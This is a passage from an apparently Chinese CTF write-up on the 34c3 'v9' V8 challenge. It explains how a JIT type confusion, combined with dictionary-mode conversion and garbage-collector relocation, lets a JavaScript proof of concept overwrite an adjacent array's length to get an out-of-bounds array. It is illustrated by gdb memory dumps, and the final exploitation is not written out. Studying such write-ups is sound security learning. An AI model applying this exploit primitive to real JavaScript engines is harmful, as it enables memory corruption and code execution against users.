0032| 0x3f088da8cdc8 --> 0x3ff3333333333333
0040| 0x3f088da8cdd0 --> 0x3ff4cccccccccccd
0048| 0x3f088da8cdd8 --> 0x3ff6666666666666
0056| 0x3f088da8cde0 --> 0x3ff8000000000000
gdb-peda$ p {double} 0x3f088da8cdc0
$3 = 1.1000000000000001

然而除了fast-mode外还有一种模式为dictionary-mode,我们执行delete obj['d'];,对象变为了字典模式。当我们使用job观察原来的obj_addr+0x18时显示的是free space, size 40

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
DebugPrint: 0x3f088da8cda9: [JS_OBJECT_TYPE]
- map = 0x121951408c41 [DictionaryProperties]
- prototype = 0x72a068046a9
- elements = 0x3a94c8c82251 <FixedArray[0]> [HOLEY_ELEMENTS]
- properties = 0x3f088da8cff1 <HashTable[53]> {
#b: 0x3f088da8d1b9 <Number 1.2> (data, dict_index: 2, attrs: [WEC])
#c: 0x3f088da8d1c9 <Number 1.3> (data, dict_index: 3, attrs: [WEC])
#e: 0x3f088da8d1e9 <Number 1.5> (data, dict_index: 5, attrs: [WEC])
#a: 0x3f088da8d1a9 <Number 1.1> (data, dict_index: 1, attrs: [WEC])
gdb-peda$ telescope 0x3f088da8cda9-1
0000| 0x3f088da8cda8 --> 0x121951408c41 --> 0x3000002b2938822
0008| 0x3f088da8cdb0 --> 0x3f088da8cff1 --> 0x2b2938826
0016| 0x3f088da8cdb8 --> 0x3a94c8c82251 --> 0x2b2938822
0024| 0x3f088da8cdc0 --> 0x2b293882201 --> 0x2b2938822
0032| 0x3f088da8cdc8 --> 0x2800000000 ('')
0040| 0x3f088da8cdd0 --> 0x3ff4cccccccccccd
0048| 0x3f088da8cdd8 --> 0x3ff6666666666666
0056| 0x3f088da8cde0 --> 0x3ff8000000000000
gdb-peda$ p {double} 0x3f088da8cdd0
$4 = 1.3
gdb-peda$ p {double} 0x3f088da8cdd8
$5 = 1.3999999999999999
gdb-peda$ p {double} 0x3f088da8cde0
$6 = 1.5
gdb-peda$ job 0x3f088da8cdc1
free space, size 40

调用gc函数,obj对象会被放到Old-Space中,原来的obj_addr+0x18处存放了其他移动到这里的对象

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
DebugPrint: 0x28f16db05b61: [JS_OBJECT_TYPE] in OldSpace
- map = 0x121951408c41 [DictionaryProperties]
- prototype = 0x72a068046a9
- elements = 0x3a94c8c82251 <FixedArray[0]> [HOLEY_ELEMENTS]
- properties = 0x28f16db0b861 <HashTable[53]> {
#b: 0x28f16db0ba59 <Number 1.2> (data, dict_index: 2, attrs: [WEC])
#c: 0x28f16db0ba69 <Number 1.3> (data, dict_index: 3, attrs: [WEC])
#e: 0x28f16db0ba79 <Number 1.5> (data, dict_index: 5, attrs: [WEC])
#a: 0x28f16db0ba89 <Number 1.1> (data, dict_index: 1, attrs: [WEC])
}
gdb-peda$ telescope 0x28f16db05b61-1
0000| 0x28f16db05b60 --> 0x121951408c41 --> 0x3000002b2938822
0008| 0x28f16db05b68 --> 0x28f16db0b861 --> 0x2b2938826
0016| 0x28f16db05b70 --> 0x3a94c8c82251 --> 0x2b2938822
0024| 0x28f16db05b78 --> 0x2b2938822f1 --> 0x2b2938822
0032| 0x28f16db05b80 --> 0x500000000
0040| 0x28f16db05b88 --> 0x100000000
0048| 0x28f16db05b90 --> 0x3a94c8c849d1 --> 0x51000002b293883d
0056| 0x28f16db05b98 --> 0x3a94c8c82f49 --> 0xaa000002b2938824
gdb-peda$ job 0x28f16db05b78+1
0x28f16db05b79: [FixedArray] in OldSpace
- map = 0x2b2938822f1 <Map(HOLEY_ELEMENTS)>
- length: 5
0: 1
1: 0x3a94c8c849d1 <Tuple2 0x3a94c8c82251 <FixedArray[0]>, 0x3a94c8c82251 <FixedArray[0]>>
2: 0x3a94c8c82f49 <String[11]: constructor>
3: 534
4: 0x72a06824489 <JSFunction (sfi = 0x72a068243e9)>

假如我们可以控制gc后obj_addr+0x18处存放的对象为Array,则可以通过类型混淆后的in-object赋值修改arr的属性,如修改length。

PoC

我们在obj对象后面布置了arr

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
function foo(obj,callback){
const x = obj.x;
callback();
obj.d = 0x2000;
}
for(var i = 0; i < 0x1000; i++){
foo({x:1,y:2,z:3,l:4,a:5,b:6,c:7,d:8,e:9},()=>1);
foo({x:1,y:2,z:3,l:4,a:5,b:6,c:7,d:8,e:9},()=>2);
foo({x:1,y:2,z:3,l:4,a:5,b:6,c:7,d:8,e:9},()=>3);
}
//
obj = {x:1,y:2,z:3,l:4,a:5,b:6,c:7,d:8,e:9};
arr = [1.1,2.2];
%DebugPrint(obj);
%SystemBreak();
function evil()
{
obj.__defineGetter__('xx',()=>2);
obj.__defineGetter__('xx',()=>2);
//
%DebugPrint(obj);
%SystemBreak();
gc();
%DebugPrint(obj);
%SystemBreak();
}
foo(obj,evil);
console.log("[+]length of arr : " + hex(arr.length))

在未进行obj.__defineGetter__('xx',()=>2)前,obj_addr+0x18存储着in-object属性

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
DebugPrint: 0x2b965c4af989: [JS_OBJECT_TYPE]
- map = 0x2f7537a0c891 [FastProperties]
- prototype = 0x1c3a06b846a9
- elements = 0xaea0a882251 <FixedArray[0]> [HOLEY_ELEMENTS]
- properties = 0xaea0a882251 <FixedArray[0]> {
#x: 1 (data field 0)
#y: 2 (data field 1)
#z: 3 (data field 2)
#l: 4 (data field 3)
#a: 5 (data field 4)
#b: 6 (data field 5)
#c: 7 (data field 6)
#d: 8 (data field 7)
#e: 9 (data field 8)
}
gdb-peda$ telescope 0x2b965c4af989-1
0000| 0x2b965c4af988 --> 0x2f7537a0c891 --> 0xc00002e8e55a022
0008| 0x2b965c4af990 --> 0xaea0a882251 --> 0x2e8e55a022
0016| 0x2b965c4af998 --> 0xaea0a882251 --> 0x2e8e55a022
0024| 0x2b965c4af9a0 --> 0x100000000
0032| 0x2b965c4af9a8 --> 0x200000000
0040| 0x2b965c4af9b0 --> 0x300000000
0048| 0x2b965c4af9b8 --> 0x400000000
0056| 0x2b965c4af9c0 --> 0x500000000

在未gc前

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
DebugPrint: 0x2b965c4af989: [JS_OBJECT_TYPE]
- map = 0x2f7537a08c41 [DictionaryProperties]
- prototype = 0x1c3a06b846a9
- elements = 0xaea0a882251 <FixedArray[0]> [HOLEY_ELEMENTS]
- properties = 0x2b965c4afb79 <HashTable[101]> {
#d: 8 (data, dict_index: 8, attrs: [WEC])
#z: 3 (data, dict_index: 3, attrs: [WEC])
#c: 7 (data, dict_index: 7, attrs: [WEC])
#l: 4 (data, dict_index: 4, attrs: [WEC])
#a: 5 (data, dict_index: 5, attrs: [WEC])
#x: 1 (data, dict_index: 1, attrs: [WEC])
#xx: 0x1c3a06bac7c1 <AccessorPair> (accessor, dict_index: 10, attrs: [WEC])
#b: 6 (data, dict_index: 6, attrs: [WEC])
#e: 9 (data, dict_index: 9, attrs: [WEC])
#y: 2 (data, dict_index: 2, attrs: [WEC])
gdb-peda$ telescope 0x2b965c4af989-1
0000| 0x2b965c4af988 --> 0x2f7537a08c41 --> 0x300002e8e55a022
0008| 0x2b965c4af990 --> 0x2b965c4afb79 --> 0x2e8e55a026
0016| 0x2b965c4af998 --> 0xaea0a882251 --> 0x2e8e55a022
0024| 0x2b965c4af9a0 --> 0x2e8e55a02201 --> 0x2e8e55a022
0032| 0x2b965c4af9a8 --> 0x4800000000 ('')
0040| 0x2b965c4af9b0 --> 0x300000000
0048| 0x2b965c4af9b8 --> 0x400000000
0056| 0x2b965c4af9c0 --> 0x500000000
gdb-peda$ job 0x2b965c4af9a1
free space, size 72

在gc后,发现成功让arr布置在了obj_addr+0x18

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
gdb-peda$ telescope 0x1fb96c18bcc1-1
0000| 0x1fb96c18bcc0 --> 0x2f7537a08c41 --> 0x300002e8e55a022
0008| 0x1fb96c18bcc8 --> 0x1fb96c18be19 --> 0x2e8e55a026
0016| 0x1fb96c18bcd0 --> 0xaea0a882251 --> 0x2e8e55a022
0024| 0x1fb96c18bcd8 --> 0x2e8e55a02de1 --> 0x2e8e55a022
0032| 0x1fb96c18bce0 --> 0x200000000
0040| 0x1fb96c18bce8 --> 0x3ff199999999999a
0048| 0x1fb96c18bcf0 --> 0x400199999999999a
0056| 0x1fb96c18bcf8 --> 0x2f7537a02841 --> 0x400002e8e55a022
gdb-peda$ job 0x1fb96c18bcd9
0x1fb96c18bcd9: [FixedDoubleArray] in OldSpace
- map = 0x2e8e55a02de1 <Map(HOLEY_DOUBLE_ELEMENTS)>
- length: 2
0: 1.1
1: 2.2

再加一条调试,发现d对应arr.length,修改后即可得到一个oob数组

1
2
3
4
5
6
7
8
9
10
11
12
gdb-peda$ telescope 0x2572fdb0bcf9-1 20
0000| 0x2572fdb0bcf8 --> 0x32fca2808c41 --> 0x300000346a7e822
0008| 0x2572fdb0bd00 --> 0x2572fdb0be51 --> 0x346a7e826
0016| 0x2572fdb0bd08 --> 0x55bbfa82251 --> 0x346a7e822
0024| 0x2572fdb0bd10 --> 0x346a7e82de1 --> 0x346a7e822 (x)
0032| 0x2572fdb0bd18 --> 0x200000000 (y)
0040| 0x2572fdb0bd20 --> 0x3ff199999999999a (z)
0048| 0x2572fdb0bd28 --> 0x400199999999999a (l)
0056| 0x2572fdb0bd30 --> 0x32fca2802841 --> 0x400000346a7e822 (a)
0064| 0x2572fdb0bd38 --> 0x55bbfa82251 --> 0x346a7e822 (b)
0072| 0x2572fdb0bd40 --> 0x2572fdb0be31 --> 0x346a7e82d (c)
0080| 0x2572fdb0bd48 --> 0x200000000000 ('') (d)

漏洞利用

有了OOB数组后面的利用就很常规了,这里就不再赘述了.

利用效果

总结

花了几天时间总结了34c3 CTF v9的几种利用方式,其中第一和第三种方式在debug版本里也可以过,第二种只能在release中用,个人觉得第三种方法是最简单的,第二种是最直观的,第一种方式比较绕,不过很有意思,对于checkMaps消除类型的题目上述几种方法可以作为比较通用的思路。注意这里第二种方式里我们其实已经构造出了fakeObj原语,所以通过之前的利用方式也可以继续往后走。

您的支持将鼓励我继续创作